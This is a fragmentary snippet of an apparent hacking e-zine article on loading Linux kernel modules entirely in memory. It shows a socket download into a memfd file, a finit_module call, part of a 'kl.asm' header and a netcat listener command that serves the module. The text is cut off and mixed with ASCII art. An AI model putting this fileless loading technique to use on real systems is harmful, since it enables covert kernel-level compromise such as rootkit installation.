#L100

1.9 In-Memory LKM Loading

eZine's profile picture
Published in 
 · 2 years ago
... le from /proc/self/fd/4 here: https://github.com/netspooky/golfclub/blob/master/linux/dl_memfd_219.asm#L100 Once we've got our memfd file set up, we read the socket buffer from the remote host, and write it to our file descriptor. After the file has been downloaded to our memfd file, we use the finit_module syscall to load a kernel module via a file descriptor. kl.asm ;-- Download a kernel module from 127.0.0.1:42000 to memory and load -------//-- ; __ __ . __ __ __ __ . . . setup: ; | ||__||_ |__ |__|| || ||_/| | $ cat somekernelmodule.ko | nc -lvp 42000 ; | || | || |o ||o ||\ |__| b ...
loading
Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT